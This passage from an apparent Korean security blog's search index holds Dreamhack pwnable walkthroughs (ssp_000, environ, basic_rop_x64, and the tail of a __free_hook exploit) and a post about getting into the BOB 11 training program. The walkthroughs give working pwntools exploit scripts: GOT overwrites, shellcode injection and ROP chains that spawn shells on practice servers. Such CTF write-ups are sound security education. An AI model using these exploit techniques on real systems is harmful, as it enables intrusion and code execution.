libc.sym[\u0026#34;__free_hook\u0026#34;] freeHook = libcAddr + freeHookOffset print(\u0026#34;__free_hook address : \u0026#34;+hex(freeHook)) pause() heapToFreehook = int((int(hex(freeHook), 16)-leak)/0x10)+0x1 print(\u0026#34;heapToFreehook :\u0026#34; + hex(heapToFreehook)) c.sendlineafter(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;3\u0026#34;) c.sendlineafter(b\u0026#34;it? : \u0026#34;, b\u0026#34;24\u0026#34;) c.sendlineafter(b\u0026#34;edit : \u0026#34;, str(heapToFreehook)) c.sendafter(b\u0026#34;to : \u0026#34;, p64(system)*2) print(\u0026#34;system addr : \u0026#34;+ hex(system*2)) c.interactive() ","permalink":"https://dig06161.github.io/2023/02/04/dreamhack-pwn-Santa_claus_is_coming_to_town/","summary":"드림핵 포너블 Santa_claus_is_coming_to_town 문제풀이","title":"[Dreamhack] PWN Santa_claus_is_coming_to_town"},{"content":"이번 ssp_000문제는 카나리에 대한 문제다. 메모리 스텍의 오염을 인식하고 오염되었을 경우 바이너리를 강제 종료시키는 기능을 한다. 스텍 사이에 랜덤의 값을 넣고 이를 검사해 스텍이 오버플로우 되었는지 확인한다. 이렇게 메모리 커럽션을 어렵게 하는 기법을 Stack Smashing Protector(SSP)라고 한다.\n우선 먼저 코드를 살펴보자.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } int main(int argc, char *argv[]) { long addr; long value; char buf[0x40] = {}; initialize(); read(0, buf, 0x80); printf(\u0026#34;Addr : \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;addr); printf(\u0026#34;Value : \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;value); *(long *)addr = value; return 0; } 함수로 쉘이 함수로 있고 main함수는 간단한 버퍼 오버플로우를 일으킬 수 있다. 다만 실행시킨 바이너리의 카나리 값을 릭할 방법이 마땅치 않는다. 이 경우는 조금 생각을 해볼 필요가 있다. 만약 스텍을 오염시키면 __stack_chk_fail 함수가 실행되면서 종료가 될것이다.\n다만 main함수를 보면 원하는 위치에 값을 바꿔쓸수 있는것을 볼수 있다. 이를 이용해 스텍이 오버플로우 되었을때 동작할 함수를 __stack_chk_fail가 아닌 get_shell함수로 바꿔주면 쉘을 얻을 수 있을 것이다.\n우선 main함수의 어셈블리를 확인해보자\n0x00000000004008fb \u0026lt;+0\u0026gt;: push rbp 0x00000000004008fc \u0026lt;+1\u0026gt;: mov rbp,rsp 0x00000000004008ff \u0026lt;+4\u0026gt;: sub rsp,0x70 0x0000000000400903 \u0026lt;+8\u0026gt;: mov DWORD PTR [rbp-0x64],edi 0x0000000000400906 \u0026lt;+11\u0026gt;: mov QWORD PTR [rbp-0x70],rsi 0x000000000040090a \u0026lt;+15\u0026gt;: mov rax,QWORD PTR fs:0x28 0x0000000000400913 \u0026lt;+24\u0026gt;: mov QWORD PTR [rbp-0x8],rax 0x0000000000400917 \u0026lt;+28\u0026gt;: xor eax,eax 0x0000000000400919 \u0026lt;+30\u0026gt;: lea rdx,[rbp-0x50] 0x000000000040091d \u0026lt;+34\u0026gt;: mov eax,0x0 0x0000000000400922 \u0026lt;+39\u0026gt;: mov ecx,0x8 0x0000000000400927 \u0026lt;+44\u0026gt;: mov rdi,rdx 0x000000000040092a \u0026lt;+47\u0026gt;: rep stos QWORD PTR es:[rdi],rax 0x000000000040092d \u0026lt;+50\u0026gt;: mov eax,0x0 0x0000000000400932 \u0026lt;+55\u0026gt;: call 0x40088e \u0026lt;initialize\u0026gt; 0x0000000000400937 \u0026lt;+60\u0026gt;: lea rax,[rbp-0x50] 0x000000000040093b \u0026lt;+64\u0026gt;: mov edx,0x80 0x0000000000400940 \u0026lt;+69\u0026gt;: mov rsi,rax 0x0000000000400943 \u0026lt;+72\u0026gt;: mov edi,0x0 0x0000000000400948 \u0026lt;+77\u0026gt;: call 0x400710 \u0026lt;read@plt\u0026gt; 0x000000000040094d \u0026lt;+82\u0026gt;: mov edi,0x400a55 0x0000000000400952 \u0026lt;+87\u0026gt;: mov eax,0x0 0x0000000000400957 \u0026lt;+92\u0026gt;: call 0x4006f0 \u0026lt;printf@plt\u0026gt; 0x000000000040095c \u0026lt;+97\u0026gt;: lea rax,[rbp-0x60] 0x0000000000400960 \u0026lt;+101\u0026gt;: mov rsi,rax 0x0000000000400963 \u0026lt;+104\u0026gt;: mov edi,0x400a5d 0x0000000000400968 \u0026lt;+109\u0026gt;: mov eax,0x0 0x000000000040096d \u0026lt;+114\u0026gt;: call 0x400750 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x0000000000400972 \u0026lt;+119\u0026gt;: mov edi,0x400a61 0x0000000000400977 \u0026lt;+124\u0026gt;: mov eax,0x0 0x000000000040097c \u0026lt;+129\u0026gt;: call 0x4006f0 \u0026lt;printf@plt\u0026gt; 0x0000000000400981 \u0026lt;+134\u0026gt;: lea rax,[rbp-0x58] 0x0000000000400985 \u0026lt;+138\u0026gt;: mov rsi,rax 0x0000000000400988 \u0026lt;+141\u0026gt;: mov edi,0x400a5d 0x000000000040098d \u0026lt;+146\u0026gt;: mov eax,0x0 0x0000000000400992 \u0026lt;+151\u0026gt;: call 0x400750 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x0000000000400997 \u0026lt;+156\u0026gt;: mov rax,QWORD PTR [rbp-0x60] 0x000000000040099b \u0026lt;+160\u0026gt;: mov rdx,rax 0x000000000040099e \u0026lt;+163\u0026gt;: mov rax,QWORD PTR [rbp-0x58] 0x00000000004009a2 \u0026lt;+167\u0026gt;: mov QWORD PTR [rdx],rax 0x00000000004009a5 \u0026lt;+170\u0026gt;: mov eax,0x0 0x00000000004009aa \u0026lt;+175\u0026gt;: mov rcx,QWORD PTR [rbp-0x8] 0x00000000004009ae \u0026lt;+179\u0026gt;: xor rcx,QWORD PTR fs:0x28 0x00000000004009b7 \u0026lt;+188\u0026gt;: je 0x4009be \u0026lt;main+195\u0026gt; 0x00000000004009b9 \u0026lt;+190\u0026gt;: call 0x4006d0 \u0026lt;__stack_chk_fail@plt\u0026gt; 0x00000000004009be \u0026lt;+195\u0026gt;: leave 0x00000000004009bf \u0026lt;+196\u0026gt;: ret 우리가 해당 바이너리를 익스하기 위해 필요한 것은 두가지다. get_shell 함수의 주소와 __stack_chk_fail 함수의 got 주소이다. 이것들 모두 쉽게 확인할 수 있다. __stack_chk_fail의 got는 해당 함수 plt의 주소를 disass 하면 확인할 수 있다.\npwndbg\u0026gt; disass get_shell Dump of assembler code for function get_shell: 0x00000000004008ea \u0026lt;+0\u0026gt;: push rbp 0x00000000004008eb \u0026lt;+1\u0026gt;: mov rbp,rsp 0x00000000004008ee \u0026lt;+4\u0026gt;: mov edi,0x400a4d 0x00000000004008f3 \u0026lt;+9\u0026gt;: call 0x4006e0 \u0026lt;system@plt\u0026gt; 0x00000000004008f8 \u0026lt;+14\u0026gt;: nop 0x00000000004008f9 \u0026lt;+15\u0026gt;: pop rbp 0x00000000004008fa \u0026lt;+16\u0026gt;: ret End of assembler dump. pwndbg\u0026gt; disass 0x4006d0 Dump of assembler code for function __stack_chk_fail@plt: 0x00000000004006d0 \u0026lt;+0\u0026gt;: jmp QWORD PTR [rip+0x20094a] # 0x601020 \u0026lt;__stack_chk_fail@got.plt\u0026gt; 0x00000000004006d6 \u0026lt;+6\u0026gt;: push 0x1 0x00000000004006db \u0026lt;+11\u0026gt;: jmp 0x4006b0 End of assembler dump. get_shell 함수의 주소는 0x4008ea, __stack_chk_fail 함수의 got값은 0x601020로 확인할 수 있다. 이를 바탕으로 __stack_chk_fail함수 주소를 get_shell 함수로 바꾸기 위해 익스플로잇 코드를 작성해봤다. 해당 익스 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) c = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 22697); stackChkFail = 0x601020 getShell = 0x4008ea paylaod = \u0026#34;\\x90\u0026#34;*0x50 c.send(paylaod) c.sendlineafter(b\u0026#34;Addr : \u0026#34;, str(stackChkFail)) c.sendlineafter(b\u0026#34;Value : \u0026#34;, str(getShell)) c.interactive() 간단하게 카나리 부분을 덮어쓰기 하여 __stack_chk_fail를 인위적으로 일으키면 그전에 바꿔치기한 함수인 get_shell이 실행된다.\n","permalink":"https://dig06161.github.io/2022/12/21/dreamhack-pwn-ssp_000/","summary":"드림핵 포너블 ssp_000 문제풀이","title":"[Dreamhack] PWN ssp_000"},{"content":"오랜만에 풀어보는 시스템 해킹이다.\nenviron을 간단히 설명해보면 프로그램이 동작할 떄 시스템의 환경변수를 참조해야할 경우가 있다. 이때 사용하는 것이 environ 포인터인데 이는 시스템의 환경변수를 가리키며 로더의 초기화 함수에 의해 초기화 된다.\n이번 문제의 코드를 살펴보면 다음과 같다\nint main() { char buf[16]; size_t size; long value; void (*jump)(); initialize(); printf(\u0026#34;stdout: %p\\n\u0026#34;, stdout); printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;size); printf(\u0026#34;Data: \u0026#34;); read(0, buf, size); printf(\u0026#34;*jmp=\u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;value); jump = *(long *)value; jump(); return 0; } stdout의 주소값을 출력해주고 입력받은 사이즈 만큼 buf에 쓰고 value의 주소를 정해줘 해당 주소로 점프해 어셈블리 코드를 실행하게 된다.\n바이너리에 걸린 보안 기술을 보면 다음과 같다\nArch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments stack canary가 적용되어 있지만 이를 체크하기 전에 쉘 코드가 실행되어 크게 신경쓸 부분은 아닌것 같다.\n우선 해당 바이너리를 익스하기 위해 stdout주소에서 stdout offset의 차를 구해 libc base주소를 구한다. 이후 해당 libc base주소에 environ offset을 더해 바이너리의 environ주소를 구한다. 다음으로 buf를 오버플로우 시켜 environ 영역에 쉘 코드를 삽입하고 해당 주소로 점프하면 쉘을 구할 수 있다.\nmain함수의 어셈블리를 살펴보자\n0x000000000040089a \u0026lt;+0\u0026gt;: push rbp 0x000000000040089b \u0026lt;+1\u0026gt;: mov rbp,rsp 0x000000000040089e \u0026lt;+4\u0026gt;: sub rsp,0x40 0x00000000004008a2 \u0026lt;+8\u0026gt;: mov rax,QWORD PTR fs:0x28 0x00000000004008ab \u0026lt;+17\u0026gt;: mov QWORD PTR [rbp-0x8],rax 0x00000000004008af \u0026lt;+21\u0026gt;: xor eax,eax 0x00000000004008b1 \u0026lt;+23\u0026gt;: mov eax,0x0 0x00000000004008b6 \u0026lt;+28\u0026gt;: call 0x40083e \u0026lt;initialize\u0026gt; 0x00000000004008bb \u0026lt;+33\u0026gt;: mov rax,QWORD PTR [rip+0x2007be] # 0x601080 \u0026lt;stdout@@GLIBC_2.2.5\u0026gt; 0x00000000004008c2 \u0026lt;+40\u0026gt;: mov rsi,rax 0x00000000004008c5 \u0026lt;+43\u0026gt;: mov edi,0x400a0d 0x00000000004008ca \u0026lt;+48\u0026gt;: mov eax,0x0 0x00000000004008cf \u0026lt;+53\u0026gt;: call 0x4006a0 \u0026lt;printf@plt\u0026gt; 0x00000000004008d4 \u0026lt;+58\u0026gt;: mov edi,0x400a19 0x00000000004008d9 \u0026lt;+63\u0026gt;: mov eax,0x0 0x00000000004008de \u0026lt;+68\u0026gt;: call 0x4006a0 \u0026lt;printf@plt\u0026gt; 0x00000000004008e3 \u0026lt;+73\u0026gt;: lea rax,[rbp-0x38] 0x00000000004008e7 \u0026lt;+77\u0026gt;: mov rsi,rax 0x00000000004008ea \u0026lt;+80\u0026gt;: mov edi,0x400a20 0x00000000004008ef \u0026lt;+85\u0026gt;: mov eax,0x0 0x00000000004008f4 \u0026lt;+90\u0026gt;: call 0x400700 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x00000000004008f9 \u0026lt;+95\u0026gt;: mov edi,0x400a24 0x00000000004008fe \u0026lt;+100\u0026gt;: mov eax,0x0 0x0000000000400903 \u0026lt;+105\u0026gt;: call 0x4006a0 \u0026lt;printf@plt\u0026gt; 0x0000000000400908 \u0026lt;+110\u0026gt;: mov rdx,QWORD PTR [rbp-0x38] 0x000000000040090c \u0026lt;+114\u0026gt;: lea rax,[rbp-0x20] 0x0000000000400910 \u0026lt;+118\u0026gt;: mov rsi,rax 0x0000000000400913 \u0026lt;+121\u0026gt;: mov edi,0x0 0x0000000000400918 \u0026lt;+126\u0026gt;: call 0x4006c0 \u0026lt;read@plt\u0026gt; 0x000000000040091d \u0026lt;+131\u0026gt;: mov edi,0x400a2b 0x0000000000400922 \u0026lt;+136\u0026gt;: mov eax,0x0 0x0000000000400927 \u0026lt;+141\u0026gt;: call 0x4006a0 \u0026lt;printf@plt\u0026gt; 0x000000000040092c \u0026lt;+146\u0026gt;: lea rax,[rbp-0x30] 0x0000000000400930 \u0026lt;+150\u0026gt;: mov rsi,rax 0x0000000000400933 \u0026lt;+153\u0026gt;: mov edi,0x400a20 0x0000000000400938 \u0026lt;+158\u0026gt;: mov eax,0x0 0x000000000040093d \u0026lt;+163\u0026gt;: call 0x400700 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x0000000000400942 \u0026lt;+168\u0026gt;: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400946 \u0026lt;+172\u0026gt;: mov rax,QWORD PTR [rax] 0x0000000000400949 \u0026lt;+175\u0026gt;: mov QWORD PTR [rbp-0x28],rax 0x000000000040094d \u0026lt;+179\u0026gt;: mov rdx,QWORD PTR [rbp-0x28] 0x0000000000400951 \u0026lt;+183\u0026gt;: mov eax,0x0 0x0000000000400956 \u0026lt;+188\u0026gt;: call rdx 0x0000000000400958 \u0026lt;+190\u0026gt;: mov eax,0x0 0x000000000040095d \u0026lt;+195\u0026gt;: mov rcx,QWORD PTR [rbp-0x8] 0x0000000000400961 \u0026lt;+199\u0026gt;: xor rcx,QWORD PTR fs:0x28 0x000000000040096a \u0026lt;+208\u0026gt;: je 0x400971 \u0026lt;main+215\u0026gt; 0x000000000040096c \u0026lt;+210\u0026gt;: call 0x400690 \u0026lt;__stack_chk_fail@plt\u0026gt; 0x0000000000400971 \u0026lt;+215\u0026gt;: leave 0x0000000000400972 \u0026lt;+216\u0026gt;: ret stdout을 통해 libc base 주소를 구하는 것은 어렵지 않다. pwntools을 이용하면 된다. 출력된 주소 - libc.symbols[\u0026quot;IO_2_1_stdout\u0026quot;]를 이용하면 쉽게 구할 수 있다. 가장 중요한 것은 buf의 위치와 environ 위치의 offset을 구해야 하는데 gdb 상에서 살펴보면 read 함수에서 받아 저장할 위치는 rbp-0x20이라고 되어있다.\n0x0000000000400908 \u0026lt;+110\u0026gt;: mov rdx,QWORD PTR [rbp-0x38] 이부분의 주소값과 environ의 주소값의 차를 구하고 쉘코드의 길이를 더한 만큼 오버플로우 시켜야 한다.\n그러면 buf와 environ의 offset 만큼의 nop코드로 채운 후 쉘코드를 삽입하고 이로 건너뛰는 시나리오가 될 것이다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) c = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 17150); libc = ELF(\u0026#34;./libc.so.6\u0026#34;) #c = process(\u0026#34;./environ\u0026#34;) #libc = ELF(\u0026#34;/usr/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) shell = asm(shellcraft.execve(\u0026#34;/bin/sh\u0026#34;)) c.recvuntil(b\u0026#34;stdout: \u0026#34;) stdout = int(str(c.recvline()[:-1]).replace(\u0026#34;b\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#39;\u0026#39;), 16) print(f\u0026#34;stdout : {hex(stdout)}\u0026#34;) stdoutOffset = libc.symbols[\u0026#34;_IO_2_1_stdout_\u0026#34;] libcBase = stdout-stdoutOffset print(f\u0026#34;libc base : {hex(libcBase)}\u0026#34;) print(f\u0026#34;libc offset : {hex(stdoutOffset)}\u0026#34;) envAddr = libcBase+libc.symbols[\u0026#34;environ\u0026#34;] print(f\u0026#34;environ addr : {hex(envAddr)}\u0026#34;) bufToenvOffset = 0x148 print(f\u0026#34;Buffer to environ addr offset : {hex(bufToenvOffset)}\u0026#34;) c.recvuntil(b\u0026#34;Size: \u0026#34;) c.sendline(str(bufToenvOffset+len(shell))) c.recvuntil(b\u0026#34;Data: \u0026#34;) c.sendline(b\u0026#34;\\x90\u0026#34;*bufToenvOffset+shell) c.recvuntil(b\u0026#34;*jmp=\u0026#34;) c.sendline(str(envAddr)) c.interactive() 위 코드를 통해 익스플로잇이 가능하다.\n","permalink":"https://dig06161.github.io/2022/12/20/dreamhack-pwn-environ/","summary":"드림핵 포너블 environ 문제풀이","title":"[Dreamhack] PWN environ"},{"content":"지난 22년 6월 22일 17시에 BOB 11기 최종 합격자가 발표났습니다. 지난 7기 도전에 실패하고 이후 군 전역 후 11기에 지원하게 됐는데 합격한 후기를 남겨볼까 합니다. 일단 10기와 달라진 점은 기존 4가지 취약점분석, 디지털포렌식, 보안컨설팅, 보안개발 트랙을 각각 선발했는데, 이번 11기는 통합 선발 후 내부 교육평가를 통해서 트랙을 선발한다고 합니다.\n우선 BOB 공식 페이지의 11기 모집요강입니다.\nhttps://www.kitribob.kr/board/detail/1/6943?current_page=1\u0026amp;per_page=15\n서류평가 BOB는 1단계 서류평가 이후 2배수 합격자 대상으로 인적성 검사, 필기평가, 면접평가를 진행하게 됩니다. 1단계 서류평가에서는 다음과 같은 항목을 평가합니다.\n자기소개서 추천서(선택) 포트폴리오(선택) 활동 프로젝트 내역 자격증 취득내역 저는 기본적인 자기소개서와 학과장님의 추천서, 제가 활동한 프로젝트 내역으로 만든 포트폴리오를 만들어 제출했고 정보처리산업기사 자격증도 기입했습니다. BOB에 지원하실 분이라면 추천서는 친분이 있는 교수님을 찾아뵈어 꼭 받으시길 바라며, 개발이나 보안관련으로 진행한 프로젝트가 있으면 이 또한 포트폴리오로 만들어 제출하심이 좋겠습니다.\n전 자기소개서를 작성할때 제가 프로젝트를 하면서 어떤걸 공부했는지, 또 어떤점에 흥미를 느껴 어떤 분야로 진출하고 싶은지를 적었습니다. 또 활동 내역에서 학과에서 진행한 ISMS 프로젝트, 개발 프로젝트 그리고 정보보호병 활동에서 어떤걸 분석했고 보안장비로 관제를 진행한 내용을 바탕으로 작성했습니다.\n이런 활동을 중점에 둔다기 보다는 이런 활동으로 앞으로 더 발전할 수 있는 사람이라는걸 보여주는 방향에 중점을 두었고 분대장을 하면서 다른 사람들간의 화합도 같이 작성했습니다.\n다른 분들 말씀을 좀 들어보니 1000자씩 7개 항목을 꽉 채워서 적기보다는 내가 활동하면서 어떤점을 느끼고 어떤 방향으로 나아가고 싶은지 진솔하게 적는게 중요한것 같았습니다.\n모두 아시겠지만 자기가 직접 참여하고 공부한 내용을 적어야 합니다. 안그러면 1차에 합격해도 2차 면접에서 영혼까지 털릴겁니다. 전 자기소개서를 작성하면서 면접 준비를 동시에 진행하는걸 추천드립니다. 결국 면접의 질문은 자기소개서와 포트폴리오, 자기가 활동한 프로젝트 위주로 나오기 때문이죠.\n2차 평가(인적성, 필기, 면접) 이렇게 1차 서류에 합격하셨다면 2대1 경쟁률만 뚫으시면 BOB에 합격할 수 있습니다.\n서류에 합격하면 면접을 보기에 앞서서 인적성 검사와 필기시험을 응시해야 합니다. 인적성 검사는 말 그대로 직업의 적합도, 사람의 성향을 수치적으로 판단하기 위해서 하는것 같습니다. 필기시험은 개인적인 생각으로 정보보안기사보다 조금 더 쉽게 나온것 같습니다. 다만 제가 포렌식 쪽 공부를 거의 안하다 보니 포렌식 분야의 문제는 조금 어려웠습니다. 50분 시험시간에 100문제가 나오다 보니, 난이도가 그리 높게 나오진 않은것 같습니다.\n우선 1차 합격하고 필기 공부는 가볍에 아는 내용을 다시 상기시키는 정도로 하고 면접에 집중하는 방향으로 진행했습니다.\n면접 내용은 정확하게 말씀 드리기 어려우나, 압박면접 + 꼬리질문이 많았습니다. 면접관 3명, 지원자 3명으로 30분동안 면접을 진행했습니다. 3분정도의 자기소개를 진행하고 제가 자기소개서에서 작성한 내용을 바탕으로 질문을 해주셨습니다. 면접을 준비하실때 어떤 분야나 예상 질문에 대해서 3개 정도의 꼬리질문을 예상하고 준비한게 많은 도움이 되었습니다.\n~라는걸 하고 싶다고 했는데 정확하게 어떤걸 하고싶은지? 그럼 그 분야에 대해 어떤 부분을 하고 싶은지? 이런 기법을 공부했다고 했는데 이를 막을수 있는 방법과 그 방법을 우회할 방법은? 이러이러한 것을 진행했다고 하는데 그 걸 진행하면서 이런 지식도 필요한데 ~가 무엇인지? 위 같은 유형의 느낌이라고 보시면 될것 같습니다.\n모르는 부분은 솔직하게 모른다고 대답하고 꼭 학습하고 싶다는 의지를 보여주는 것도 중요한것 같습니다.\n그리고 생각보다 면접시간이 짧아서 핵심만 간결하고 정확하게 말하는 것도 중요한것 같습니다. 위에 적은것 처럼, 면접 질문이 자기소개서를 기반으로 나오기 때문에 자기소개서에 기술한 내용은 전부 숙지 하셔야 하고 그 자기소개서를 기반으로 예상할수 있는 모든 꼬리 질문의 꼬리 질문까지 알아두시면 좋을 것 같습니다.\n면접에서 가장 중요한건 자신이 준비한 내용을 면접관이 질문하게 끔 유도하는 것이 포인트라고 생각합니다.\n마무리 이렇게 준비해서 면접을 봤는데 솔직히 기대를 안했습니다. 긴장을 너무 많이해서 잠을 아에 못자고 면접을 보기위해 대전에서 서울까지 갔고, 면접을 보면서 너무 떨어서 말을 더듬었기 때문입니다. BOB에서 뽑히는 유형은 보통 매우 특출나게 잘하거나, 교육을 받았을때 기대할 수 있는 결과와 성과가 좋은 느낌을 주었는지 인것 같습니다.\n휴학하고 알바하면서 3달 가량 준비한 것 같습니다. 글을 쓰는 지금 BOB 워크샵을 다녀왔습니다. 다른 분들도 이후 12기를 지원하셨을 때 이 글이 많은 도움이 되었으면 좋겠네요.\n1차 기본 교육과 심화교육의 강도가 매우 빡세다는데 벌써 무섭습니다. 그래도 최대한 몸이 버틸수 있을때 까지 해봐야겠네요.\n이 사진은 면접 대기하면서 BOB센터에서 찍은 사진... 교육 진행하고 프로젝트 하면서 센터에서 노숙하는 사람도 많다는데 무섭기도 하고 기대도 되네요.\n","permalink":"https://dig06161.github.io/2022/06/26/BOB-start/","summary":"\u003cp\u003e지난 22년 6월 22일 17시에 BOB 11기 최종 합격자가 발표났습니다.\n지난 7기 도전에 실패하고 이후 군 전역 후 11기에 지원하게 됐는데 합격한 후기를 남겨볼까 합니다. 일단 10기와 달라진 점은 기존 4가지 취약점분석, 디지털포렌식, 보안컨설팅, 보안개발 트랙을 각각 선발했는데, 이번 11기는 통합 선발 후 내부 교육평가를 통해서 트랙을 선발한다고 합니다.\u003c/p\u003e\n\u003cp\u003e우선 BOB 공식 페이지의 11기 모집요강입니다.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.kitribob.kr/board/detail/1/6943?current_page=1\u0026amp;per_page=15\"\u003ehttps://www.kitribob.kr/board/detail/1/6943?current_page=1\u0026amp;per_page=15\u003c/a\u003e\u003c/p\u003e\n\u003ccenter\u003e\u003cimg src=\"/img/BOB-start/BOB모집요강.png\" width=\"80%\" height=\"80%\"\u003e\u003c/center\u003e\n\u003ch2 id=\"서류평가\"\u003e\u003cstrong\u003e서류평가\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003eBOB는 1단계 서류평가 이후 2배수 합격자 대상으로 인적성 검사, 필기평가, 면접평가를 진행하게 됩니다. 1단계 서류평가에서는 다음과 같은 항목을 평가합니다.\u003c/p\u003e","title":"BOB 11기 합격 후기"},{"content":"이번에 풀어볼 문제는 기존의 32비트 환경 pwn이 아니라 64비트 환경 pwn이다. 기본적으로 32비트와 64비트는 함수 호출 규약에 다른점이 있다. 기존 32비트 환경에서는 함수 실행에 필요한 인자들을 스택에 저장해 하나씩 불러와 사용한다면 64비트 환경은 레지스터에 먼저 저장한 후 레지스터보다 많은 인자가 필요하면 스택을 이용한다.\n이러한 차이점으로 32비트 환경에서는 버퍼 오버플로우 등으로 덮어 씌우기만 하면 성공했던 시스템 해킹이 64비트로 오면서 gadget(가젯)을 이용해 함수 실행에 필요한 인자를 넣어줘야 한다\n이번 문제는 ROP(Return-oriented programming)에 관한 문제이며 이 ROP 기법은 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술이다.\n우선 위에서 함수에 사용될 인자를 레지스터에 저장하기 위해 가젯이 필요하다고 했다. 가젯을 설명하기 전에 인자에 저장에 사용되는 레지스터 순서를 먼저 살펴보자\n+----------------------------------------------+ | 인텔 리눅스 64bit | 윈도우 64bit | | | | | RDI | RCX | | RSI | RDX | | RDX | R8 | | RCX | R9 | | R8 | | | R9 | | +----------------------------------------------+ 위 순서대로 레지스터에 값을 저장하며 이에 필요한 명령어 집합을 가젯이라 한다.\n예를 들어 puts 함수는 인자를 1개 가지며 RDI에 인자를 넣아야 한다. 이에 사용되는 가젯은 다음과 같다.\npop rdi ; ret 위 가젯을 이용해 RSP의 값을 POP해 RDI로 넣어주는 과정이다.\n이제 문제로 돌아가 문제 코드를 살펴보자.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x40] = {}; initialize(); read(0, buf, 0x400); write(1, buf, sizeof(buf)); return 0; } 위와 같은 구조를 가지고 있으며, 0x40 크기의 버퍼에 0x400의 값을 쓸 수 있어 버퍼 오버플로우를 통한 ROP가 가능하다.\n우선 gdb의 info function을 통해 내장되어 있는 함수를 보자\ngdb-peda$ info function All defined functions: Non-debugging symbols: 0x0000000000400590 _init 0x00000000004005c0 puts@plt 0x00000000004005d0 write@plt 0x00000000004005e0 alarm@plt 0x00000000004005f0 read@plt 0x0000000000400600 __libc_start_main@plt 0x0000000000400610 signal@plt 0x0000000000400620 setvbuf@plt 0x0000000000400630 exit@plt 0x0000000000400640 __gmon_start__@plt 0x0000000000400650 _start 0x0000000000400680 deregister_tm_clones 0x00000000004006c0 register_tm_clones 0x0000000000400700 __do_global_dtors_aux 0x0000000000400720 frame_dummy 0x0000000000400746 alarm_handler 0x000000000040075e initialize 0x00000000004007ba main 0x0000000000400820 __libc_csu_init 0x0000000000400890 __libc_csu_fini 0x0000000000400894 _fini write는 인자를 3개 필요로 해 데이터를 출력하는데 puts 함수를 사용할 것이다.\n이제 함수를 사용하기 위한 가젯을 찾아야 하는데\nROPgadget --binary basic_rop_x64 | grep rdi 명령어로 가능하다. 결과는 다음과 같다.\n/file# ROPgadget --binary basic_rop_x64 | grep rdi 0x0000000000400726 : cmp dword ptr [rdi], 0 ; jne 0x400730 ; jmp 0x4006c0 0x0000000000400725 : cmp qword ptr [rdi], 0 ; jne 0x400730 ; jmp 0x4006c0 0x0000000000400883 : pop rdi ; ret 우리가 필요로 하는 가젯의 주소는 0x0000000000400883이다.\n이제 어떤식으로 익스를 작성할지 고민해보자. pop명령어는 RSP의 주소에 들어있는 값을 RDI로 불러온다. gdb를 통해 확인해보면, read함수를 실행하는 중 RSP의 값은 ret+8의 주소를 가리키고 있다.\n따라서 ret에 가젯 주소를, 그 다음으로 계속 변하는 libcbase의 주소를 구하기 위해 read함수의 got를 출력하기 위해 disas main을 통해 찾은 read@got 값을 넣어준다.\n그 다음으로 puts을 실행하기 위해 puts@plt 값을 주어 인자로 준 read@got의 실제 주소를 puts함수를 통해 출력한다. 이후 main함수 주소를 추가해 익스플로잇 작성을 위해 main으로 다시 돌아온다.\n스택 구조로 보면 다음과 같다. 스택은 위에서 아래가 아닌 아래 베이스 포인터에서 위로 쌓이는걸 고려해 보아야 한다.\nputs@plt read@got gadget sfp[8바이트] -\u0026gt; 임의 값 \u0026#39;입력 값\u0026#39; 따라서 임의 값으로 0x40 + 0x8(64비트 환경은 ret과 sfp 길이가 8바이트)만큼 sfp영역까지 덮어 씌운다. 다음 가젯 주소를 추가하고 read@got와 puts@plt를 추가한다\n여기까지 파이썬 코드로 표현하면 다음과 같다.\nfrom pwn import * conn = remote(\u0026#34;host1.dreamhack.games\u0026#34;, 13516); libc=ELF(\u0026#39;./libc.so.6\u0026#39;) rdi_ret = 0x400883 #가젯 주소 read_got = 0x601030 puts_plt = 0x4005c0 func_main = 0x4007ba payload = b\u0026#39;A\u0026#39;*(0x48) payload += p64(rdi_ret) payload += p64(read_got) payload += p64(puts_plt) payload += p64(func_main) conn.send(payload) sleep(1) print(conn.recvuntil(\u0026#39;A\u0026#39;*0x40)) 위 코드를 실행하면 puts을 통해 read@got가 출력된 후 다시 main 함수로 돌아온다. 이제 출력된 read@got의 실제 메모리상 주소를 통해 libcbase를 구해보자. read 함수 부분은 다시 공격할 것이다.\n문제를 보면 libc.so.6 파일을 같이 첨부해준다.\n이를 통해 read@got의 상대주소를 알아내고 출력된 read@got의 실제주소 - 상대주소 를 통해 libc 베이스 주소를 